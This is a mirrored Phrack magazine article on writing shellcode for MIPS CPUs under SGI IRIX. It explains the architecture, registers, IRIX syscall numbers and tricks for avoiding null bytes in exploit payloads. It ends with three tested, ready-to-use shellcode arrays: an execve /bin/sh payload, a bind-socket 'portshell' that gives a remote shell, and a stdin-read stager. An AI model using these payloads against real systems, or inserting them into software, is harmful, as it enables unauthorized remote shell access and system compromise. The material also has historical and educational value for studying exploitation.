home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / p56-0x0f.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  29.6 KB  |  754 lines

  1.                       - P H R A C K   M A G A Z I N E -
  2.  
  3.                             Volume 0xa Issue 0x38
  4.                                   05.01.2000
  5.                                   0x0f[0x10]
  6.  
  7. |------------------------ WRITING MIPS/IRIX SHELLCODE ------------------------|
  8. |-----------------------------------------------------------------------------|
  9. |--------------------------------- scut/teso ---------------------------------|
  10.  
  11.  
  12. ----|  Intro
  13.  
  14. Writing shellcode for the MIPS/Irix platform is not much different from writing
  15. shellcode for the x86 architecture.  There are, however, a few tricks worth
  16. knowing when attempting to write clean shellcode (which does not have any NULL
  17. bytes and works completely independent from it's position).
  18.  
  19. This small paper will provide you with a crash course on writing IRIX
  20. shellcode for use in exploits.  It covers the basic stuff you need to know to
  21. start writing basic IRIX shellcode.  It is divided into the following sections:
  22.  
  23.     - The IRIX operating system
  24.     - MIPS architecture
  25.     - MIPS instructions
  26.     - MIPS registers
  27.     - The MIPS assembly language
  28.     - High level language function representation
  29.     - Syscalls and Exceptions
  30.     - IRIX syscalls
  31.     - Common constructs
  32.     - Tuning the shellcode
  33.     - Example shellcode
  34.     - References
  35.  
  36.  
  37. ----|  The IRIX operating system
  38.  
  39. The Irix operating system was developed independently by Silicon Graphics and
  40. is UNIX System V.4 compliant. It has been designed for the MIPS CPU's, which
  41. have a unique history and have pioneered 64-bit and RISC technology.  The
  42. current Irix version is 6.5.7.  There are two major versions, called feature
  43. (6.5.7f) and maintenance (6.5.7m) release, from which the feature release is
  44. focused on new features and technologies and the maintenance release on bug
  45. fixes and stability.  All modern Irix platforms are binary compatible and this
  46. shellcode discussion and the example shellcodes have been tested on over half a
  47. dozen different Irix computer systems.
  48.  
  49.  
  50. ----|  MIPS architecture
  51.  
  52. First of all you have to have some basic knowledge about the MIPS CPU
  53. architecture.  There are a lot of different types of the MIPS CPU, the most
  54. common are the R4x00 and R10000 series (which share the same instruction set).
  55.  
  56. A MIPS CPU is a typical RISC-based CPU, meaning it has a reduced instruction
  57. set with less instructions then a CISC CPU, such as the x86.  The core concept
  58. of a RISC CPU is a tradeoff between simplicity and concurrency:  There are
  59. less instructions, but the existing ones can be executed quickly and in
  60. parallel.  Because of this small number of instructions there is less
  61. redundancy per instruction, and some things can only be done using a single
  62. instruction, while on a CISC CPU this can only be achieved by using a variety
  63. of different instructions, each one doing basically the same thing.  As a
  64. result of this, MIPS machine code is larger then CISC machine code, since
  65. often multiple instructions are required to accomplish the same operation that
  66. CISC CPU's are able to do with one single instruction.
  67.  
  68. Multiple instructions do not, however, result in slower code.  This is a
  69. matter of overall execution speed, which is extremely high because of the
  70. parallel execution of the instructions.
  71.  
  72. On a MIPS CPU the concurrency is very advanced, and the CPU has a pipeline with
  73. five slots, which means five instructions are processed at the same time and
  74. every instruction has five stages, from the initial IF pipestage (instruction
  75. fetch) to the last, the WB pipestage (write back).
  76.  
  77. Because the instructions overlap within the pipeline, there are some
  78. "anomalies" that have to be considered when writing MIPS machine code:
  79.  
  80.     - there is a branch delay slot: the instruction following the branch
  81.       instruction is still in the pipeline and is executed after the jump has
  82.       taken place
  83.     - the return address for subroutines ($ra) and syscalls (C0_EPC) points
  84.       not to the instruction after the branch/jump/syscall instruction but to
  85.       the instruction after the branch delay slot instruction
  86.     - since every instruction is divided into five pipestages the MIPS design
  87.       has reflected this on the instructions itself: every instruction is
  88.       32 bits broad (4 bytes), and can be divided most of the times into
  89.       segments which correspond with each pipestage
  90.  
  91.  
  92. ----|  MIPS instructions
  93.  
  94. MIPS instructions are not just 32 bit long each, they often share a similar
  95. mapping too.  An instruction can be divided into the following sections:
  96.  
  97.       + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
  98.        31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0
  99.       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  100.       | op        | sub-op  |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode   |
  101.       +-----------+---------+-----------------------------+-----------+
  102.  
  103. The "op" field denotes the six bit primary opcode.  Some instructions, such
  104. as long jumps (see below) have a unique code here, the rest are grouped by
  105. function.  The "sub-op" section, which is five bytes long can represent either
  106. a specific sub opcode as extension to the primary opcode or can be a register
  107. block.  A register block is always five bits long and selects one of the CPU
  108. registers for an operation. The subcode is the opcode for the arithmetic and
  109. logical instructions, which have a primary opcode of zero.
  110.  
  111. The logical and arithmetic instructions share a RISC-unique attribute: They
  112. do not work with two registers, such as common x86 instructions, but they use
  113. three registers, named "destination", "target" and "source".  This allows more
  114. flexible code, if you still want CISC-like instructions, such as
  115. "add %eax, %ecx", just use the same destination and target register for the
  116. operation.
  117.  
  118. A typical MIPS instruction looks like:
  119.  
  120.     or   a0, a1, t4
  121.  
  122. which is easy to represent in C as "a0 = a1 | t4".  The order is almost always
  123. equivalent to a simple C expression.
  124.  
  125. Some simple instructions are listed below.
  126.  
  127. - dest, source, target, and register are registers (see section on MIPS
  128.   registers below).
  129. - value is a 16 bit value, either signed or not, depending on the instruction.
  130. - offset is a 16 bit relative offset. loffset is a 26 bit offset, which is
  131.   shifted so that it lies on a four byte boundary.
  132.  
  133.   or      dest, source, target     logical or: dest = source | target
  134.   nor     dest, source, target     logical not or: d = ~ (source | target)
  135.   add     dest, source, target     add: dest = source + target
  136.   addu    dest, source, value      add immediate signed: dest = source + value
  137.   and     dest, source, target     logical and: dest = source & target
  138.   beq     source, target, offset   if (source == target) goto offset
  139.   bgez    source, offset           if (source >= 0) goto offset
  140.   bgezal  source, offset           if (source >= 0) offset ()
  141.   bgtz    source, offset           if (source > 0) goto offset
  142.   bltz    source, offset           if (source < 0) goto offset
  143.   bltzal  source, offset           if (source < 0) offset ()
  144.   bne     source, target, offset   if (source != target) goto offset
  145.   j       loffset                  goto loffset (within 2^28 byte range)
  146.   jr      register                 jump to address in register
  147.   jal     loffset                  loffset (), store retaddr in $ra
  148.   li      dest, value              load imm.: expanded to either ori or addiu
  149.   lw      dest, offset             dest = *((int *) (offset))
  150.   slt     dest, source, target     signed: dest = (source < target) ? 1 : 0
  151.   slti    dest, source, value      signed: dest = (source < value) ? 1 : 0
  152.   sltiu   dest, source, value      unsigned: dest = (source < value) ? 1 : 0
  153.   sub     dest, source, target     dest = source - target
  154.   sw      source, offset           *((int *) offset) = source
  155.   syscall                          raise syscall exception
  156.   xor     dest, source, target     dest = source ^ target
  157.   xori    dest, source, value      dest = source ^ value
  158.  
  159. This is obviously not complete.  However, it does cover the most important
  160. instructions for writing shellcode.  Most of the instructions in the example
  161. shellcodes can be found here.  For the complete list of instructions see
  162. either [1] or [2].
  163.  
  164.  
  165. ----|  MIPS registers
  166.  
  167. The MIPS CPU has plenty of registers. Since we already know registers are
  168. addressed using a five bit block, there must be 32 registers, $0 to $31. They
  169. are all alike except for $0 and $31.  For $0 the case is very simple: No
  170. matter what you do to the register, it always contains zero.  This is
  171. practical for a lot of arithmetic instructions and can results in elegant code
  172. design.  The $0 register has been assigned the symbolic name $zero.  The $31
  173. register is also called $ra, for "return address".  Why should a register ever
  174. contain a return address if there is such a nice stack to store it?  And how
  175. should recursion be handled otherwise? Well, the short answer is, there is no
  176. real stack and yes it works.  For the longer answer we will shortly discuss
  177. what happens when a function is called on a RISC CPU.  When this is done a
  178. special instruction called "jal" is used.  This instruction overwrites the
  179. content of the $ra ($31) register with the appropriate return address and then
  180. jumps to an arbitrary address.  The called function does however see the
  181. return address in $ra and once finished just jumps back (using the "jr"
  182. instruction) to the return address.  But what if the function wants to call
  183. functions, too? Then there is a stack-like segment the function can store the
  184. return address on, later restore it and then continue to work as usual.
  185.  
  186. Why "stack-like"?  Because there is only a stack by convention, and any
  187. register may be used to behave like a stack.  There are no push or pop
  188. instructions however, and the register has to be adjusted manually.  The
  189. "stack" register is $29, symbolically referred as $sp.  The stack grows to the
  190. smaller addresses, just like on the x86 architecture.
  191.  
  192. There other register conventions, nearly as many as there are registers.  For
  193. the sake of completeness here is a small listing:
  194.  
  195.   number  symbolic  function
  196.  -------  --------- -----------------------------------------------------------
  197.       $0  $zero     always contains zero
  198.       $1  $at       is used by assembler (see below), do not use it
  199.    $2-$3  $v0, $v1  subroutine return values
  200.    $4-$7  $a0-$a3   subroutine arguments
  201.   $8-$15  $t0-$t7   temporary registers, may be overwritten by subroutine
  202.  $16-$23  $s0-$s7   subroutine registers, have to be saved by called function
  203.                     before they may be used
  204.  $24,$25  $t8, $t9  temporary registers, may be overwritten by subroutine
  205.  $26,$27  $k0, $k1  interrupt/trap handler reserved registers, do not use
  206.      $28  $gp       global pointer, used to access static and extern variables
  207.      $29  $sp       stack pointer
  208.      $30  $s8/$fp   subroutine register, commonly used as a frame pointer
  209.      $31  $ra       return address
  210.  
  211. There are also 32 floating point registers, each 32 bits long (64 bits on
  212. newer MIPS CPUs). They are not important for system programming, so we will not
  213. discuss them here.
  214.  
  215.  
  216. ----|  The MIPS assembly language
  217.  
  218. Because the instructions are relatively primitive and programmers often want
  219. to accomplish more complex things, the MIPS assembly language works with a lot
  220. of macro instructions.  They sometimes provide really necessary operations,
  221. such as subtracting a number from a register (which is converted to a signed
  222. add by the assembler) to complex macros, such as finding the remainder for a
  223. division.  But the assembler does a lot more than providing macros for common
  224. operations.  We already mentioned the pipeline in which instructions are
  225. processed simultaneously.  Often the execution directly depends on the order
  226. within the pipeline, because the registers accessed with the instructions are
  227. written back in the last pipestage, the WB (write-back) stage and cannot be
  228. accessed before by other instructions.  For old MIPS CPUs the MIPS
  229. abbreviation is true when saying "Microcomputer without Interlocked Pipeline
  230. Stages", you just cannot access the register in the instruction directly
  231. following the one that modifies this register.  Nearly all MIPS CPUs
  232. currently in service do have an interlock though, they just wait until the
  233. data from the instruction is written back to the register before allowing the
  234. following instruction to read it.  In practice you only have to worry when
  235. writing very low level assembly code, such as shellcode :-), because most of
  236. the times the assembler will reorder and replace your instructions so that
  237. they exploit the pipelined architecture at best.  You can turnoff this
  238. reordering and macros in any MIPS assembler, if you want to.
  239.  
  240. The MIPS CPUs and RISC CPUs altogether were not designed with easy assembly
  241. language programming in mind.  It is more difficult, however, to program a
  242. RISC CPU in assembly than any CISC CPU.  Even the first sentences of the MIPS
  243. Pro Assembler Manual from the MIPS corporation recommend to use MIPS assembly
  244. language only for hardware near routines or operating system programming.  In
  245. most cases a good C compiler, such as the one MIPS developed will optimize the
  246. pipeline and register usage way better then any programmer might do in
  247. assembly.  However, when writing shellcodes we have to face the bare machine
  248. code and have to write size-optimized code, which does not contain any NULL
  249. bytes.  A compiler might use large code to unroll loops or to use faster
  250. constructs, we can not.
  251.  
  252.  
  253. ----|  High level language function representation
  254.  
  255. Most of the time, a normal C function can be represented very easily in MIPS
  256. assembly.  You just have to differentiate between leaf and non-leaf functions.
  257. A non-leaf function is a function that does not call any other function.  Such
  258. functions do not need to store the return address on the stack, but keep it in
  259. $ra for the whole time.  The arguments to a function are stored by the calling
  260. function in $a0, $a1, $a2 and $a3.  If this space is not sufficient enough
  261. extra stack space is used, but in most cases the registers suffice.  The
  262. function may return two 32bit values through the $v0 and $v1 registers.  For
  263. temporary space the called function may use the stack referred to by $sp.  Also
  264. registers are commonly saved on the stack and later restored from it.  The
  265. temporary registers ($t0-$t9) may be overwritten in the called function
  266. without restoring them later, if the calling functions wants to preserve them,
  267. it has to save them itself.
  268.  
  269. The stack usually starts at 0x80000000 and grows towards small addresses.  As
  270. was already said, it is very similar to the stack of an x86 system.  
  271.  
  272.  
  273. ----|  Syscalls and Exceptions
  274.  
  275. On a typical Unix system there are only two modes that current execution can
  276. happen in: user mode and kernel mode.  In most modern architectures this
  277. modes are directly supported by the CPU.  The MIPS CPU has these two modes plus
  278. an extra mode called "supervisor mode".  It was requested by engineers at DEC
  279. for their new range of workstations when the MIPS R4000 CPU was designed.
  280. Since the VMS/DEC market was important to MIPS, they implemented this third
  281. mode at DEC's request to allow the VMS operating system to be run on the CPU.
  282. However, DEC decided later to develop their own CPU, the Alpha CPU and the
  283. mode remained unused.
  284.  
  285. Back to the execution modes...  on current operating systems designed for the
  286. MIPS CPU only kernel mode and user mode are used.  To switch from user mode to
  287. the kernel mode there is a mechanism called "exceptions".  Whenever a user space process wants to let the kernel to do something or whenever the
  288. current execution can't be successfully continued the control is passed to the
  289. kernel space exception handler.
  290.  
  291. For shellcode construction we have to know that we can make the kernel execute
  292. important operating system related stuff like I/O operations through the
  293. syscall exception, which is triggered through the "syscall" instruction.  The
  294. syscall instruction looks like:
  295.  
  296.   syscall    0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100
  297.  
  298. Where the x's represent the 20 bit broad syscall code, which is ignored on the
  299. Irix system.  To avoid NULL bytes in your shellcode you can set those x-bits to
  300. arbitrary data.
  301.  
  302.  
  303. ----|  IRIX syscalls
  304.  
  305. The following list covers the most important syscalls for use in shellcodes.
  306. After all registers have been appropriately set the "syscall" instruction is
  307. executed and the execution flow is passed to the kernel.
  308.  
  309.     accept
  310.     ------
  311.     int accept (int s, struct sockaddr *addr, socklen_t *addrlen);
  312.  
  313.     a0 = (int) s
  314.     a1 = (struct sockaddr *) addr
  315.     a2 = (socklen_t *) addrlen
  316.     v0 = SYS_accept = 1089 = 0x0441
  317.  
  318.     return values
  319.  
  320.     a3 = 0 success, a3 != 0 on failure
  321.     v0 = new socket
  322.  
  323.  
  324.     bind
  325.     ----
  326.     int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen);
  327.  
  328.     a0 = (int) sockfd
  329.     a1 = (struct sockaddr *) my_addr
  330.     a2 = (socklen_t) addrlen
  331.     v0 = SYS_bind = 1090 = 0x0442
  332.  
  333.     For the IN protocol family (TCP/IP) the sockaddr pointer points to a
  334.     sockaddr_in struct which is 16 bytes long and typically looks like:
  335.     "\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
  336.     where aa is ((port >> 8) & 0xff) and bb is (port & 0xff).
  337.  
  338.     return values
  339.  
  340.     a3 = 0 success, a3 != 0 on failure
  341.     v0 = 0 success, v0 != 0 on failure
  342.  
  343.  
  344.     close
  345.     -----
  346.     int close (int fd);
  347.  
  348.     a0 = (int) fd
  349.     v0 = SYS_close = 1006 = 0x03ee
  350.  
  351.     return values
  352.  
  353.     a3 = 0 success, a3 != 0 on failure
  354.     v0 = 0 success, v0 != 0 on failure
  355.  
  356.     execve
  357.     ------
  358.     int execve (const char *filename, char *const argv [], char *const envp[]);
  359.  
  360.     a0 = (const char *) filename
  361.     a1 = (chat * const) argv[]
  362.     a2 = (char * const) envp[]
  363.     v0 = SYS_execve = 1059 = 0x0423
  364.  
  365.     return values
  366.  
  367.     should not return but replace current process with program, it only returns
  368.     in case of errors
  369.  
  370.  
  371.     fcntl
  372.     -----
  373.     int fcntl (int fd, int cmd);
  374.     int fcntl (int fd, int cmd, long arg);
  375.  
  376.     a0 = (int) fd
  377.     a1 = (int) cmd
  378.     a2 = (long) arg   in case the command requires an argument
  379.     v0 = SYS_fcntl = 1062 = 0x0426
  380.  
  381.     return values
  382.  
  383.     a3 = 0 on success, a3 != 0 on failure
  384.     v0 is the real return value and depends on the operation, see fcntl(2) for
  385.     further information
  386.  
  387.  
  388.     fork
  389.     ----
  390.     int fork (void);
  391.  
  392.     v0 = SYS_fork = 1002 = 0x03ea
  393.  
  394.     return values
  395.  
  396.     a3 = 0 on success, a3 != 0 on failure
  397.     v0 = 0 in child process, PID of child process in parent process
  398.  
  399.  
  400.     listen
  401.     ------
  402.     int listen (int s, int backlog);
  403.  
  404.     a0 = (int) s
  405.     a1 = (int) backlog
  406.     v0 = SYS_listen = 1096 = 0x0448
  407.  
  408.     return values
  409.  
  410.     a3 = 0 on success, a3 != 0 on failure
  411.  
  412.  
  413.     read
  414.     ----
  415.     ssize_t read (int fd, void *buf, size_t count);
  416.  
  417.     a0 = (int) fd
  418.     a1 = (void *) buf
  419.     a2 = (size_t) count
  420.     v0 = SYS_read = 1003 = 0x03eb
  421.  
  422.     return values
  423.  
  424.     a3 = 0 on success, a3 != 0 on failure
  425.     v0 = number of bytes read
  426.  
  427.  
  428.     socket
  429.     ------
  430.     int socket (int domain, int type, int protocol);
  431.  
  432.     a0 = (int) domain
  433.     a1 = (int) type
  434.     a2 = (int) protocol
  435.     v0 = SYS_socket = 1107 = 0x0453
  436.  
  437.     return values
  438.  
  439.     a3 = 0 on success, a3 != 0 on failure
  440.     v0 = new socket
  441.  
  442.  
  443.     write
  444.     -----
  445.     int write (int fileno, void *buffer, int length);
  446.  
  447.     a0 = (int) fileno
  448.     a1 = (void *) buffer
  449.     a2 = (int) length
  450.     v0 = SYS_write = 1004 = 0x03ec
  451.  
  452.     return values
  453.  
  454.     a3 = 0 on success, a3 != 0 on failure
  455.     v0 = number of bytes written
  456.  
  457.  
  458.     The dup2 functionality is not implemented as system call but as libc
  459.     wrapper for close and fcntl.  Basically the dup2 function looks like
  460.     (simplified):
  461.  
  462.     int dup2 (int des1, int des2)
  463.     {
  464.         int tmp_errno, maxopen;
  465.  
  466.         maxopen = (int) ulimit (4, 0);
  467.         if (maxopen < 0)
  468.         {
  469.             maxopen = OPEN_MAX;
  470.         }
  471.         if (fcntl (des1, F_GETFL, 0) == -1)
  472.         {
  473.             _setoserror (EBADF);
  474.             return -1;
  475.         }
  476.  
  477.         if (des2 >= maxopen || des2 < 0)
  478.         {
  479.             _setoserror (EBADF);
  480.             return -1;
  481.         }
  482.  
  483.         if (des1 == des2)
  484.         {
  485.             return des2;
  486.         }
  487.     tmp_errno = _oserror();
  488.         close (des2);
  489.         _setoserror (tmp_errno);
  490.  
  491.         return (fcntl (des1, F_DUPFD, des2));
  492.     }
  493.  
  494.     So without the validation dup2 (des1, des2) can be rewritten as:
  495.  
  496.     close (des2);
  497.     fcntl (des1, F_DUPFD, des2);
  498.  
  499. Which has been done in the portshell shellcode below.
  500.  
  501.  
  502. ----|  Common constructs
  503.  
  504. When writing shellcode there are always common operations, like getting the
  505. current address.  Here are a few techniques that you can use in your
  506. shellcode:
  507.  
  508. - Getting the current address
  509.  
  510.         li      t8, -0x7350     /* load t8 with -0x7350 (leet) */
  511. foo:    bltzal  t8, foo         /* branch with $ra stored if t8 < 0 */
  512.         slti    t8, zero, -1    /* t8 = 0 (see below) */
  513. bar:
  514.  
  515. Because the slti instruction is in the branch delay slot when the bltzal is
  516. executed the next time the bltzal will not branch and t8 will remain zero.  $ra
  517. holds the address of the bar label when the same label is reached.
  518.  
  519. - Loading small integer values
  520.  
  521. Because every instruction is 32 bits long you cannot immediately load a 32 bit
  522. value into a register but you have to use two instructions.  Most of the time,
  523. however, you just want to load small values, below 256.  Values below 2^16 are
  524. stored as a 16 bit value within the instruction and values below 256 will
  525. result in ugly NULL bytes, that should be avoided in proper shellcode.
  526. Therefore we use a trick to load such small values:
  527.  
  528. loading zero into reg (reg = 0):
  529.         slti    reg, zero, -1
  530.  
  531. loading one into reg (reg = 1):
  532.         slti    reg, zero, 0x0101
  533.  
  534. loading small integer values into reg (reg = value):
  535.         li      t8, -valmod     /* valmod = value + 1 */
  536.         not     reg, t8
  537.  
  538. For example if we want to load 4 into reg we would use:
  539.         li      t8, -5
  540.         not     reg, t8
  541.  
  542. In case you need small values more than one time you can also store them into
  543. saved registers ($s0 - $s7, optionally $s8).
  544.  
  545. - Moving registers
  546.  
  547. In normal MIPS assembly you would use the simple move instruction, which
  548. results in an "or" instruction, but in shellcode you have to avoid NUL bytes,
  549. and you can use this construction, if you know that the value in the register
  550. is below 0xffff (65535):
  551.     andi    reg, source, 0xffff
  552.  
  553.  
  554. ----|  Tuning the shellcode
  555.  
  556. I recommend that you write your shellcodes in normal MIPS assembly and
  557. afterwards start removing the NULL bytes from top to bottom.  For simple load
  558. instructions you can use the constructs above.  For essential instructions try
  559. to play with the different registers, in some cases NULL bytes may be removed
  560. from arithmetic and logic instructions by using higher registers, such as $t8
  561. or $s7.  Next try replacing the single instruction with two or three
  562. accomplishing the same.  Make use of the return values of syscalls or known
  563. register contents.  Be creative, use a MIPS instruction reference from [1] or
  564. [2] and your brain and you will always find a good replacement.
  565.  
  566. Once you made your shellcode NULL free you will notice the size has increased
  567. and your shellcode is quite bloated.  Do not worry, this is normal, there is
  568. almost nothing you can do about it, RISC code is nearly always larger then the
  569. same code on x86.  But you can do some small optimizations to decrease it's
  570. size.  At first try to find replacements for instruction blocks, where more
  571. then one instruction is used to do one thing.  Always take a look at the
  572. current register content and make use of return values or previously loaded
  573. values.  Sometimes reordering helps you to avoid jumps.
  574.  
  575.  
  576. ----|  Example shellcode
  577.  
  578. All the shellcodes have been tested on the following systems, (thanks to vax,
  579. oxigen, zap and hendy):
  580.  
  581. R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and
  582. R10000/6.4.
  583.  
  584. <++> p56/MIPS-shellcode/sh_execve.h !4959db03
  585. /* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso
  586.  */
  587. unsigned long int shellcode[] = {
  588.         0xafa0fffc,    /* sw        $zero, -4($sp)        */
  589.         0x24067350,    /* li        $a2, 0x7350        */
  590. /* dpatch: */    0x04d0ffff,    /* bltzal    $a2, dpatch        */
  591.         0x8fa6fffc,    /* lw        $a2, -4($sp)        */
  592.         /* a2 = (char **) envp = NULL */
  593.  
  594.         0x240fffcb,    /* li        $t7, -53        */
  595.         0x01e07827,    /* nor        $t7, $t7, $zero        */
  596.         0x03eff821,    /* addu        $ra, $ra, $t7        */
  597.  
  598.         /* a0 = (char *) pathname */
  599.         0x23e4fff8,    /* addi        $a0, $ra, -8        */
  600.  
  601.         /* fix 0x42 dummy byte in pathname to shell */
  602.         0x8fedfffc,    /* lw        $t5, -4($ra)        */
  603.         0x25adffbe,    /* addiu    $t5, $t5, -66        */
  604.         0xafedfffc,    /* sw        $t5, -4($ra)        */
  605.  
  606.         /* a1 = (char **) argv */
  607.         0xafa4fff8,    /* sw        $a0, -8($sp)        */
  608.         0x27a5fff8,    /* addiu    $a1, $sp, -8        */
  609.  
  610.         0x24020423,    /* li        $v0, 1059 (SYS_execve)    */
  611.         0x0101010c,    /* syscall                */
  612.         0x2f62696e,    /* .ascii    "/bin"            */
  613.         0x2f736842,    /* .ascii    "/sh", .byte 0xdummy    */
  614. };
  615. <-->
  616. <++> p56/MIPS-shellcode/shc_portshell-listener.h !db48e22a
  617. /* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso
  618.  */
  619. unsigned long int shellcode[] = {
  620.         0x2416fffd,    /* li        $s6, -3            */
  621.         0x02c07027,    /* nor        $t6, $s6, $zero        */
  622.         0x01ce2025,    /* or        $a0, $t6, $t6        */
  623.         0x01ce2825,    /* or        $a1, $t6, $t6        */
  624.         0x240efff9,    /* li        $t6, -7            */
  625.         0x01c03027,    /* nor        $a2, $t6, $zero        */
  626.         0x24020453,    /* li        $v0, 1107 (socket)    */
  627.         0x0101010c,    /* syscall                */
  628.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  629.  
  630.         0x3050ffff,    /* andi        $s0, $v0, 0xffff    */
  631.         0x280d0101,    /* slti        $t5, $zero, 0x0101    */
  632.         0x240effee,    /* li        $t6, -18        */
  633.         0x01c07027,    /* nor        $t6, $t6, $zero        */
  634.         0x01cd6804,    /* sllv        $t5, $t5, $t6        */
  635.         0x240e7350,    /* li        $t6, 0x7350 (port)    */
  636.         0x01ae6825,    /* or        $t5, $t5, $t6        */
  637.         0xafadfff0,    /* sw        $t5, -16($sp)        */
  638.         0xafa0fff4,    /* sw        $zero, -12($sp)        */
  639.         0xafa0fff8,    /* sw        $zero, -8($sp)        */
  640.         0xafa0fffc,    /* sw        $zero, -4($sp)        */
  641.         0x02102025,    /* or        $a0, $s0, $s0        */
  642.         0x240effef,    /* li        $t6, -17        */
  643.         0x01c03027,    /* nor        $a2, $t6, $zero        */
  644.         0x03a62823,    /* subu        $a1, $sp, $a2        */
  645.         0x24020442,    /* li        $v0, 1090 (bind)    */
  646.         0x0101010c,    /* syscall                */
  647.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  648.  
  649.         0x02102025,    /* or        $a0, $s0, $s0        */
  650.         0x24050101,    /* li        $a1, 0x0101        */
  651.         0x24020448,    /* li        $v0, 1096 (listen)    */
  652.         0x0101010c,    /* syscall                */
  653.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  654.  
  655.         0x02102025,    /* or        $a0, $s0, $s0        */
  656.         0x27a5fff0,    /* addiu    $a1, $sp, -16        */
  657.         0x240dffef,    /* li        $t5, -17        */
  658.         0x01a06827,    /* nor        $t5, $t5, $zero        */
  659.         0xafadffec,    /* sw        $t5, -20($sp)        */
  660.         0x27a6ffec,    /* addiu    $a2, $sp, -20        */
  661.         0x24020441,    /* li        $v0, 1089 (accept)    */
  662.         0x0101010c,    /* syscall                */
  663.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  664.         0x3057ffff,    /* andi        $s7, $v0, 0xffff    */
  665.  
  666.         0x2804ffff,    /* slti        $a0, $zero, -1        */
  667.         0x240203ee,    /* li        $v0, 1006 (close)    */
  668.         0x0101010c,    /* syscall                */
  669.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  670.  
  671.         0x02f72025,    /* or        $a0, $s7, $s7        */
  672.         0x2805ffff,    /* slti        $a1, $zero, -1        */
  673.         0x2806ffff,    /* slti        $a2, $zero, -1        */
  674.         0x24020426,    /* li        $v0, 1062 (fcntl)    */
  675.         0x0101010c,    /* syscall                */
  676.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  677.  
  678.         0x28040101,    /* slti        $a0, $zero, 0x0101    */
  679.         0x240203ee,    /* li        $v0, 1006 (close)    */
  680.         0x0101010c,    /* syscall                */
  681.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  682.  
  683.         0x02f72025,    /* or        $a0, $s7, $s7        */
  684.         0x2805ffff,    /* slti        $a1, $zero, -1        */
  685.         0x28060101,    /* slti        $a2, $zero, 0x0101    */
  686.         0x24020426,    /* li        $v0, 1062 (fcntl)    */
  687.         0x0101010c,    /* syscall                */
  688.         0x240f7350,    /* li        $t7, 0x7350        */
  689.  
  690.         0x02c02027,    /* nor        $a0, $s6, $zero        */
  691.         0x240203ee,    /* li        $v0, 1006 (close)    */
  692.         0x0101010c,    /* syscall                */
  693.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  694.  
  695.         0x02f72025,    /* or        $a0, $s7, $s7        */
  696.         0x2805ffff,    /* slti        $a1, $zero, -1        */
  697.         0x02c03027,    /* nor        $a2, $s6, $zero        */
  698.         0x24020426,    /* li        $v0, 1062 (fcntl)    */
  699.         0x0101010c,    /* syscall                */
  700.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  701.  
  702.         0xafa0fffc,    /* sw        $zero, -4($sp)        */
  703.         0x24068cb0,    /* li        $a2, -29520        */
  704.         0x04d0ffff,    /* bltzal    $a2, pc-4        */
  705.         0x8fa6fffc,    /* lw        $a2, -4($sp)        */
  706.         0x240fffc7,    /* li        $t7, -57        */
  707.         0x01e07827,    /* nor        $t7, $t7, $zero        */
  708.         0x03eff821,    /* addu        $ra, $ra, $t7        */
  709.         0x23e4fff8,    /* addi        $a0, $ra, -8        */
  710.         0x8fedfffc,    /* lw        $t5, -4($ra)        */
  711.         0x25adffbe,    /* addiu    $t5, $t5, -66        */
  712.         0xafedfffc,    /* sw        $t5, -4($ra)        */
  713.         0xafa4fff8,    /* sw        $a0, -8($sp)        */
  714.         0x27a5fff8,    /* addiu    $a1, $sp, -8        */
  715.         0x24020423,    /* li        $v0, 1059 (execve)    */
  716.         0x0101010c,    /* syscall                */
  717.         0x240f7350,    /* li        $t7, 0x7350 (nop)    */
  718.         0x2f62696e,    /* .ascii    "/bin"            */
  719.         0x2f736842,    /* .ascii    "/sh", .byte 0xdummy    */
  720. };
  721. <-->
  722. <++> p56/MIPS-shellcode/shc_read.h !1996c2bb
  723. /* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso
  724.  */
  725. unsigned long int shellcode[] = {
  726.         0x24048cb0,    /* li        $a0, -0x7350        */
  727. /* dpatch: */    0x0490ffff,    /* bltzal    $a0, dpatch        */
  728.         0x2804ffff,    /* slti        $a0, $zero, -1        */
  729.         0x240fffe3,    /* li        $t7, -29        */
  730.         0x01e07827,    /* nor        $t7, $t7, $zero        */
  731.         0x03ef2821,    /* addu        $a1, $ra, $t7        */
  732.         0x24060201,    /* li        $a2, 0x0201 (513 bytes)    */
  733.         0x240203eb,    /* li        $v0, SYS_read        */
  734.         0x0101010c,    /* syscall                */
  735.         0x24187350,    /* li        $t8, 0x7350 (nop)    */
  736. };
  737. <-->
  738.  
  739.  
  740. ----|  References
  741.  
  742. For further information you may want to consult this excellent references:
  743.  
  744.  [1] See MIPS Run
  745.      Dominic Sweetman, Morgan Kaufmann Publishers
  746.      ISBN 1-55860-410-3
  747.  
  748.  [2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2
  749.      Document Number 007-2418-001
  750.      http://www.mips.com/ and http://www.sgi.com/
  751.  
  752. |EOF|-------------------------------------------------------------------------|
  753.  
  754.